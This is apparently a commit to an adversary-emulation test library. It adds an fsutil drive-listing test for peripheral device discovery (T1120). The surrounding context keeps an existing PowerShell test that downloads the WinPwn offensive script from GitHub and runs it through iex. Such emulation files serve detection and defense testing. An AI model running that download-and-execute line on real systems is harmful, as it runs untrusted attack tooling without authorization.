Update T1120.yaml (#2710)

* Update T1120.yaml

Added fsutil drive discovery for the technique of Peripheral Device Discovery

* Update T1120.yaml

Made some changes due to error in the workflow

* Update T1120.yaml

Made changes to remove several items

* Update T1120.yaml

Changes made

* Update T1120.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>

atomics/T1120/T1120.yaml

@@ -23,4 +23,12 @@ atomic_tests:
       $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
       iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
       printercheck -noninteractive -consoleoutput
-    name: powershell
+    name: powershell
+- name: Peripheral Device Discovery via fsutil
+  description: Performs pheripheral device discovery utilizing fsutil to list all drives.
+  supported_platforms:
+  - windows
+  executor:
+    command: |-
+      fsutil fsinfo drives
+    name: command_prompt